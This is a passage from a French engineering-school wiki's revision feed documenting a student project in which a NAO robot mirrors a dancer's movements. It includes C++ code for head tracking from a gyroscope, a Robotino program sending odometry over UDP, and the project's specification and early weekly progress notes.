 &lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Ensuite on va bouger la tete&lt;br /&gt;
     * Pour cela on va lui donner des angles et le temps utilisé pour atteindre ces angles&lt;br /&gt;
     */&lt;br /&gt;
     /** On défini une liste d'angles, en radians. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALValue targetAngles = AL::ALValue::array(-1.5f, 1.5f, 0.0f);&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** On defini les temps correspondants, en secondes. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALValue targetTimes = AL::ALValue::array(3.0f, 6.0f, 9.0f);&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Ensuite on peut choisir si les angles sont des positions absolues ou relatives par rapport a la position actuelle de la tete. */&lt;br /&gt;
     /** Ici se sont des angles absolus. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     bool isAbsolute = true;&lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Puis on appelle notre fonction. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     motion.angleInterpolation(jointName, targetAngles, targetTimes, isAbsolute);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Pour finir on remet la durete a sa valeur initiale. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     stiffness = 0.0f;&lt;br /&gt;
     time = 1.0f;&lt;br /&gt;
     motion.stiffnessInterpolation(jointName, stiffness, time);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
     }&lt;br /&gt;
     catch (const AL::ALError&amp;amp; e) {&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Caught exception: &amp;quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       exit(1);&lt;br /&gt;
     }&lt;br /&gt;
 exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Annexe 3===&lt;br /&gt;
&lt;br /&gt;
Voici le programme final permettant de réaliser un suivi de l'angle du gyromètre avec la tête du Nao. Il y a peu de commentaires car toute la configuration est identique au programme précédent. La partie gestion du port série n'est pas détaillée ici mais elle est disponible sur Github.&lt;br /&gt;
&lt;br /&gt;
 struct sigaction action;&lt;br /&gt;
 bool inter = true;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Gestion du SIGINT afin de permettre l’arrêt du programme&amp;lt;/span&amp;gt;&lt;br /&gt;
 void hand(int sig){&lt;br /&gt;
 	if (sig == SIGINT){&lt;br /&gt;
 		printf(&amp;quot;SIGINT\n&amp;quot;);&lt;br /&gt;
 		inter = false;&lt;br /&gt;
 	}&lt;br /&gt;
 	else{&lt;br /&gt;
 		printf(&amp;quot;bizarre !\n&amp;quot;);&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char* argv[])&lt;br /&gt;
 {&lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Red;&amp;quot;&amp;gt;//Connexion &amp;lt;/span&amp;gt;&lt;br /&gt;
   ...&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Nom du joint à bouger. */&amp;lt;/span&amp;gt;&lt;br /&gt;
   const AL::ALValue names = &amp;quot;HeadYaw&amp;quot;;&lt;br /&gt;
   int fd;&lt;br /&gt;
   double angle;&lt;br /&gt;
   unsigned char buf[8] = {0};&lt;br /&gt;
   action.sa_handler = hand;&lt;br /&gt;
   sigaction(SIGINT, &amp;amp;action, NULL);&lt;br /&gt;
 &lt;br /&gt;
   init_serial(&amp;amp;fd); &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/Initialisation du port serie&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
   AL::ALMotionProxy motion(pip, 9559);&lt;br /&gt;
   AL::ALRobotPostureProxy robotPosture(pip,9559);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
   try {&lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Make the NAO stand&amp;lt;/span&amp;gt;&lt;br /&gt;
     robotPosture.goToPosture(&amp;quot;Stand&amp;quot;, 1.0f);&lt;br /&gt;
 &lt;br /&gt;
     AL::ALValue stiffness = 1.0f;&lt;br /&gt;
     AL::ALValue time = 1.0f;&lt;br /&gt;
     motion.stiffnessInterpolation(&amp;quot;Head&amp;quot;, stiffness, time);&lt;br /&gt;
 &lt;br /&gt;
     double newAngle=0.0,a0=0,rangle;&lt;br /&gt;
     while(a0 == 0){&lt;br /&gt;
 	getData(buf,fd);&lt;br /&gt;
 	a0 = getAngle(buf);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     while(inter){&lt;br /&gt;
 		&lt;br /&gt;
 	getData(buf,fd);&lt;br /&gt;
 	angle = getAngle(buf);&lt;br /&gt;
 	if (angle != 0){&lt;br /&gt;
 		rangle = angle -a0;&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	if (rangle &amp;gt; 180){&lt;br /&gt;
 		rangle = rangle - 360;&lt;br /&gt;
 	}&lt;br /&gt;
 	else if (rangle &amp;lt; -180){&lt;br /&gt;
 		rangle = rangle + 360;&lt;br /&gt;
 	}&lt;br /&gt;
 	rangle = (rangle*PI)/180;&lt;br /&gt;
 	std::vector&amp;lt;float&amp;gt; sensorAngle = motion.getAngles(names, true); &lt;br /&gt;
 &lt;br /&gt;
 	double changes = rangle - sensorAngle[0];&lt;br /&gt;
 	std::cout &amp;lt;&amp;lt; &amp;quot;changes: &amp;quot; &amp;lt;&amp;lt; changes &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	float fractionMaxSpeed = 0.10f;&lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Appelle la fonction changeAngles qui permet de bouger un joint à la vitesse désirée&amp;lt;/span&amp;gt;&lt;br /&gt;
 	if(changes &amp;gt; 0.07 || changes &amp;lt; -0.07){&lt;br /&gt;
 		motion.changeAngles(names, changes, fractionMaxSpeed);&lt;br /&gt;
 	}&lt;br /&gt;
 	else{&lt;br /&gt;
 	} 			&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     stiffness = 0.0f;&lt;br /&gt;
     time = 1.0f;&lt;br /&gt;
     motion.stiffnessInterpolation(&amp;quot;Head&amp;quot;, stiffness, time);&lt;br /&gt;
 &lt;br /&gt;
     robotPosture.goToPosture(&amp;quot;Sit&amp;quot;, 1.0f);&lt;br /&gt;
 &lt;br /&gt;
  &lt;br /&gt;
     } &lt;br /&gt;
     catch (const AL::ALError&amp;amp; e) {&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Caught exception: &amp;quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 &lt;br /&gt;
       robotPosture.goToPosture(&amp;quot;Sit&amp;quot;, 1.0f);&lt;br /&gt;
 &lt;br /&gt;
       exit(1);&lt;br /&gt;
     }&lt;br /&gt;
 exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Annexe 4===&lt;br /&gt;
&lt;br /&gt;
Voici le programme Robotino qui permet de déplacer le Robotino tout en envoyant les données de position via un serveur UDP.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#define _USE_MATH_DEFINES&lt;br /&gt;
 #include &amp;lt;cmath&amp;gt;&lt;br /&gt;
 #include &amp;lt;iostream&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;signal.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 #include &amp;quot;rec/robotino/api2/all.h&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 using namespace rec::robotino::api2;&lt;br /&gt;
 &lt;br /&gt;
 bool _run = true;&lt;br /&gt;
 &lt;br /&gt;
 void messageUDP(char *hote,char *service,float message,int taille){&lt;br /&gt;
 &lt;br /&gt;
 	 struct addrinfo precisions,*resultat;&lt;br /&gt;
 	 int statut;&lt;br /&gt;
 	 int s;&lt;br /&gt;
  &lt;br /&gt;
  	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Creation de l'adresse de socket */&amp;lt;/span&amp;gt;&lt;br /&gt;
  	memset(&amp;amp;precisions,0,sizeof precisions);&lt;br /&gt;
 	precisions.ai_family=AF_UNSPEC;&lt;br /&gt;
 	precisions.ai_socktype=SOCK_DGRAM;&lt;br /&gt;
 	statut=getaddrinfo(hote,service,&amp;amp;precisions,&amp;amp;resultat);&lt;br /&gt;
 	if(statut&amp;lt;0){ perror(&amp;quot;messageUDPgenerique.getaddrinfo&amp;quot;); exit(EXIT_FAILURE); }&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Creation d'une socket */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	s=socket(resultat-&amp;gt;ai_family,resultat-&amp;gt;ai_socktype,resultat-&amp;gt;ai_protocol);&lt;br /&gt;
 	if(s&amp;lt;0){ perror(&amp;quot;messageUDPgenerique.socket&amp;quot;); exit(EXIT_FAILURE); }&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Option sur la socket */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	int vrai=1;&lt;br /&gt;
 	if(setsockopt(s,SOL_SOCKET,SO_BROADCAST,&amp;amp;vrai,sizeof(vrai))&amp;lt;0){&lt;br /&gt;
 		perror(&amp;quot;initialisationServeurUDPgenerique.setsockopt (BROADCAST)&amp;quot;);&lt;br /&gt;
 		exit(-1);&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Envoi du message */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	int nboctets=sendto(s,&amp;amp;message,taille,0,resultat-&amp;gt;ai_addr,resultat-&amp;gt;ai_addrlen);&lt;br /&gt;
 	if(nboctets&amp;lt;0){ perror(&amp;quot;messageUDPgenerique.sento&amp;quot;); exit(EXIT_FAILURE); }&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Liberation de la structure d'informations */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	freeaddrinfo(resultat);&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Fermeture de la socket d'envoi */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	close(s);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void sigint_handler( int signum )&lt;br /&gt;
 {&lt;br /&gt;
 	_run = false;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 class MyCom : public Com&lt;br /&gt;
 {&lt;br /&gt;
 public:&lt;br /&gt;
 	MyCom()&lt;br /&gt;
 	{&lt;br /&gt;
 	}&lt;br /&gt;
 	void errorEvent( const char* errorString )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cerr &amp;lt;&amp;lt; &amp;quot;Error: &amp;quot; &amp;lt;&amp;lt; errorString &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	void connectedEvent()&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;Connected.&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	void connectionClosedEvent()&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;Connection closed.&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	void logEvent( const char* message, int level )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; message &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	void pingEvent( float timeMs )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;Ping: &amp;quot; &amp;lt;&amp;lt; timeMs &amp;lt;&amp;lt; &amp;quot;ms&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 class MyBumper : public Bumper&lt;br /&gt;
 {&lt;br /&gt;
 public:&lt;br /&gt;
 	MyBumper()&lt;br /&gt;
 		: bumped( false )&lt;br /&gt;
 	{&lt;br /&gt;
 	}&lt;br /&gt;
 	void bumperEvent( bool hasContact )&lt;br /&gt;
 	{&lt;br /&gt;
 		bumped |= hasContact;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;Bumper has &amp;quot; &amp;lt;&amp;lt; ( hasContact ? &amp;quot;contact&amp;quot; : &amp;quot;no contact&amp;quot;) &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	bool bumped;&lt;br /&gt;
 }; &lt;br /&gt;
 &lt;br /&gt;
 MyBumper bumper;&lt;br /&gt;
 MyCom com;&lt;br /&gt;
 OmniDrive omniDrive;&lt;br /&gt;
 Odometry odometry;&lt;br /&gt;
 &lt;br /&gt;
 void init( const std::string&amp;amp; hostname )&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Connect&amp;lt;/span&amp;gt;&lt;br /&gt;
 	std::cout &amp;lt;&amp;lt; &amp;quot;Connecting...&amp;quot;;&lt;br /&gt;
 	com.setAddress( hostname.c_str() );&lt;br /&gt;
 &lt;br /&gt;
 	com.connectToServer( true );&lt;br /&gt;
 &lt;br /&gt;
 	if( false == com.isConnected() )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; std::endl &amp;lt;&amp;lt; &amp;quot;Could not connect to &amp;quot; &amp;lt;&amp;lt; com.address() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		rec::robotino::api2::shutdown();&lt;br /&gt;
 		exit( 1 );&lt;br /&gt;
 	}&lt;br /&gt;
 	else&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;success&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		odometry.set(0,0,0,false);&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void move(char * hote)&lt;br /&gt;
 {&lt;br /&gt;
 	float mouvement[2] = {0.0f, 0.0f};&lt;br /&gt;
 	double x=0,y=0,phi=0,sep=0;&lt;br /&gt;
 	unsigned int *seq;&lt;br /&gt;
 	char *service=&amp;quot;5000&amp;quot;;&lt;br /&gt;
 	sep = 4000;&lt;br /&gt;
 	int t0=com.msecsElapsed(),t=0,dir=0;&lt;br /&gt;
 	&lt;br /&gt;
        &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Menu to choose direction&amp;lt;/span&amp;gt;&lt;br /&gt;
 	while (dir != 1 &amp;amp;&amp;amp; dir != 2 &amp;amp;&amp;amp; dir != 3 &amp;amp;&amp;amp; dir != 4 )&lt;br /&gt;
 	{	&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;which direction :&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;1 for front&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;2 for back&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;3 for left&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;and 4 for right&amp;quot; &amp;lt;&amp;lt; std::endl;	&lt;br /&gt;
 		std::cin &amp;gt;&amp;gt; dir;&lt;br /&gt;
 	}&lt;br /&gt;
 	&lt;br /&gt;
 	if (dir == 1)&lt;br /&gt;
 	{&lt;br /&gt;
 		mouvement[0]=0.2f;&lt;br /&gt;
 		mouvement[1]=0.0f;&lt;br /&gt;
 	}&lt;br /&gt;
 	else if (dir == 2)&lt;br /&gt;
 	{&lt;br /&gt;
 		mouvement[0]=-0.2f;&lt;br /&gt;
 		mouvement[1]=0.0f;&lt;br /&gt;
 	}&lt;br /&gt;
 	else if (dir == 3)&lt;br /&gt;
 	{&lt;br /&gt;
 		mouvement[0]=0.0f;&lt;br /&gt;
 		mouvement[1]=0.2f;&lt;br /&gt;
 	}&lt;br /&gt;
 	else if (dir == 4)&lt;br /&gt;
 	{&lt;br /&gt;
 		mouvement[0]=0.0f;&lt;br /&gt;
 		mouvement[1]=-0.2f;&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	while( com.isConnected() &amp;amp;&amp;amp; false == bumper.value() &amp;amp;&amp;amp; _run &amp;amp;&amp;amp; t&amp;lt;3000)&lt;br /&gt;
 	{ &lt;br /&gt;
 		omniDrive.setVelocity( mouvement[0], mouvement[1], 0 ); &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//set direction&amp;lt;/span&amp;gt;&lt;br /&gt;
 		com.processEvents();&lt;br /&gt;
 		&lt;br /&gt;
 		odometry.readings (&amp;amp;x,&amp;amp;y,&amp;amp;phi,seq);&lt;br /&gt;
                &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//send data with sep between each packet&amp;lt;/span&amp;gt;&lt;br /&gt;
 		messageUDP(hote,service,(float)x,sizeof(x));&lt;br /&gt;
 		messageUDP(hote,service,(float)y,sizeof(y));&lt;br /&gt;
 		messageUDP(hote,service,(float)phi,sizeof(phi));&lt;br /&gt;
 		messageUDP(hote,service,(float)sep,sizeof(sep));&lt;br /&gt;
 		odometry.set(0,0,0,false);&lt;br /&gt;
 		t=com.msecsElapsed()-t0; &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//compute time to move while t &amp;lt; 3 seconds&amp;lt;/span&amp;gt;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void destroy()&lt;br /&gt;
 {&lt;br /&gt;
 	com.disconnectFromServer();&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main( int argc, char **argv )&lt;br /&gt;
 {&lt;br /&gt;
 	std::string hostname = &amp;quot;172.26.1.1&amp;quot;;&lt;br /&gt;
 	if( argc &amp;gt; 1 )&lt;br /&gt;
 	{&lt;br /&gt;
 		hostname = argv[1];&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	struct sigaction act;&lt;br /&gt;
 	memset( &amp;amp;act, 0, sizeof( act ) );&lt;br /&gt;
 	act.sa_handler = sigint_handler;&lt;br /&gt;
 	sigaction( SIGINT, &amp;amp;act, NULL );&lt;br /&gt;
 	char *hote = argv[2]; &lt;br /&gt;
 &lt;br /&gt;
 	try&lt;br /&gt;
 	{&lt;br /&gt;
 		init(hostname);&lt;br /&gt;
 		while( com.isConnected() &amp;amp;&amp;amp; false == bumper.value() &amp;amp;&amp;amp; _run)&lt;br /&gt;
 			move(hote);&lt;br /&gt;
 		destroy();&lt;br /&gt;
 	}&lt;br /&gt;
 	catch( const rec::robotino::api2::RobotinoException&amp;amp; e )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cerr &amp;lt;&amp;lt; &amp;quot;Com Error: &amp;quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	catch( const std::exception&amp;amp; e )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cerr &amp;lt;&amp;lt; &amp;quot;Error: &amp;quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	catch( ... )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cerr &amp;lt;&amp;lt; &amp;quot;Unknow Error&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	rec::robotino::api2::shutdown();&lt;br /&gt;
 &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
&lt;br /&gt;
[[media:Rapport_ProjetHumanRobot.pdf‎]]&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Rapport_ProjetHumanRobot.pdf&amp;diff=21056</id>
		<title>Fichier:Rapport ProjetHumanRobot.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Rapport_ProjetHumanRobot.pdf&amp;diff=21056"/>
				<updated>2015-05-11T15:34:15Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : Rapport de projet IMA4&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Rapport de projet IMA4&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Interaction_Homme_Robot&amp;diff=21049</id>
		<title>Interaction Homme Robot</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Interaction_Homme_Robot&amp;diff=21049"/>
				<updated>2015-05-11T15:05:35Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine 13 et 14 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Nao ima4.jpg|500px|thumb|right|Robot NAO]] &lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Emmanuelle Grangier, professeur à l’école supérieure d'art de Cambrai a pour projet la réalisation d’un spectacle de danse sur le thème de la relation homme-robot nommé Link Human Robot. Lors de ce spectacle, un danseur professionnel aura comme partenaire un robot NAO[https://www.aldebaran.com/fr/qui-est-nao] avec lequel il interagira.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Le sujet qui nous est proposé consiste à réaliser un environnement permettant la communication entre un danseur professionnel et un robot NAO. Le but étant que le robot soit capable de reproduire les mouvements du danseur en temps réel.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Afin que notre robot soit en mesure de suivre les mouvements du danseur il est nécessaire de récupérer les informations venant des capteurs, de les traiter à l'aide d'un algorithme puis ensuite d'envoyer les commandes adéquates au robot NAO afin qu'il agisse en conséquence.&lt;br /&gt;
Les contraintes à prendre en compte sont :&lt;br /&gt;
    &lt;br /&gt;
*Les contraintes mécaniques du NAO : limites des articulations, la vitesse du mouvement et l'équilibre du NAO.&lt;br /&gt;
*Le temps de réponse qui ne doit pas être trop long malgré la communication wifi avec le NAO.&lt;br /&gt;
*La précision des mouvements du NAO.&lt;br /&gt;
*Et la vitesse de calcul résultant de l’environnement NAO, celle-ci étant contournée en utilisant des langages de programmation de plus faible niveau (C, C++, Java).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Partie matérielle'''&lt;br /&gt;
&lt;br /&gt;
Nous disposons d’un robot NAO V4  dont nous utiliserons:&lt;br /&gt;
&lt;br /&gt;
*la centrale inertielle située dans le torse du robot et composée de 2 gyromètres et d’un accéléromètre.&lt;br /&gt;
*les capteurs de position, des roues codeuses, situés dans chaque articulations.&lt;br /&gt;
*les 26 moteurs du NAO.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi à disposition un routeur pour nous permettre de nous connecter au NAO bien que la communication soit aussi possible en Ethernet, cette dernière étant cependant plus contraignante.&lt;br /&gt;
&lt;br /&gt;
Les capteurs utilisés seront dans un premier temps constitués de plusieurs centrales inertielles. Puis il est envisagé par la suite d’utiliser un exosquelette si il est possible d’en obtenir un. Ce qui permettrait une plus grande précision lors de la reconnaissance des mouvements.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Partie software'''&lt;br /&gt;
&lt;br /&gt;
Afin d'interagir avec le NAO, nous utiliserons les différents logiciels disponibles sur le site d’Aldebaran:&lt;br /&gt;
&lt;br /&gt;
*Chorégraphe, le logiciel permettant de programmer le NAO à l’aide de différentes fonctions se présentant sous forme de blocs.&lt;br /&gt;
&lt;br /&gt;
*C++ NAOqi SDK ou Python NAOqi SDK, les kits de développement qui permettent de compiler un code de niveau inférieur (python ou C++) qui communiquera directement avec l’OS  du NAO.&lt;br /&gt;
&lt;br /&gt;
Le langage choisi sera donc soit le Python, soit le C++. Ce choix sera déterminé en fonction de la facilité de mise en oeuvre de ces deux langages et de leur efficacité dans notre application.&lt;br /&gt;
Nous envisageons le C++ dans un premier temps du fait de sa plus grande similitude avec le langage C et de son meilleur temps de réponse en utilisation temps réel.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Etapes du projet===&lt;br /&gt;
&lt;br /&gt;
*Étude de la documentation et familiarisation avec le NAO.&lt;br /&gt;
*Premiers tests en C++ afin de faire bouger le NAO et analyse du temps de réponse et de la précision.&lt;br /&gt;
*Modification du programme précédent afin de fonctionner à l’aide des centrales inertielles.&lt;br /&gt;
*Implémentation d’un client-serveur sur le NAO, éventuellement en UDP.&lt;br /&gt;
*Si obtention d’un exosquelette il sera nécessaire d’adapter le programme afin de gérer ce type de capteur.&lt;br /&gt;
*Si il reste du temps il sera possible de commencer la généralisation des étapes précedentes à toutes les articulations du NAO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Avancement du Projet==&lt;br /&gt;
===Semaine 1===&lt;br /&gt;
&lt;br /&gt;
Lors de la semaine 1 nous avons voulu nous familiariser avec le NAO nous avons donc commencé par utiliser le logiciel Chorégraphe qui permet de programmer le NAO à l’aide de bloc préprogrammés. Ce logiciel permet aussi la programmation de blocs personnalisés en Python.&lt;br /&gt;
A l’aide de ce logiciel nous avons testé quelques programmes simples afin de voir les possibilités du NAO. Cette première approche nous à permis d’entrevoir un peu les limites mécaniques du NAO.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:choregraphe.png|900px|thumb|left|Vue du logiciel Chorégraphe]]&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après nous être familiarisés avec le NAO nous avons commencé à étudier la documentation fournie par Aldebaran dans le but de définir le langage de programmation que nous allions utiliser ainsi que se procurer les logiciels nécessaires à la programmation du NAO.&lt;br /&gt;
Nous avons aussi commencé à étudier les différentes fonctions permettant de contrôler les moteurs du NAO. Pour bouger le NAO il est possible de contrôle les moteurs de deux manières différentes:&lt;br /&gt;
*un déplacement relatif effectué par rapport à la position actuelle du moteur.&lt;br /&gt;
*ou bien un déplacement absolu permettant de placer le moteur dans une position angulaire bien définie.&lt;br /&gt;
&lt;br /&gt;
===Semaine 2===&lt;br /&gt;
&lt;br /&gt;
Au cours de la deuxième semaine, nous nous sommes intéressés au kit de développement C++ NAOqi SDK qui permet de programmer le NAO via un langage bas niveau, à savoir le C++. Cette semaine s’est ainsi principalement orientée sur l’étude de la documentation d’Aldebaran Community. Nous avons donc suivi les procédures d’installation du kit et des différents outils nécessaires à son bon fonctionnement. Le système d’exploitation le plus efficace pour programmer le NAO en C++ était selon nous Linux car c’est le seul permettant de créer des modules distants qui s'exécutent directement sur le NAO. Nous nous sommes donc servis de Linux pour la suite de ce projet car nous pensions au départ avoir besoin de réaliser un client serveur sur le NAO pour permettre la communication avec notre PC. Il s’avère qu'un client TCP est déjà présent sur le NAO donc nous n'avons pour le moment pas besoin de créer de modules distants.&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi installé qiBuild afin de créer des projets multi-plate-formes (linux et NAOqi OS) et CMake afin de générer les makefiles et les répertoires de travail pour chacune des plate-formes afin de compiler ces projets sur celles-ci.&lt;br /&gt;
Suite à l’installation des logiciels nécessaires à la programmation du NAO nous avons commencé à étudier des exemples de codes que nous avons trouvé dans la documentation.&lt;br /&gt;
Dans un second temps, nous avons commencé l’apprentissage du C++ afin de pouvoir être en mesure de créer nos propres programmes à compiler sur le  NAO.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
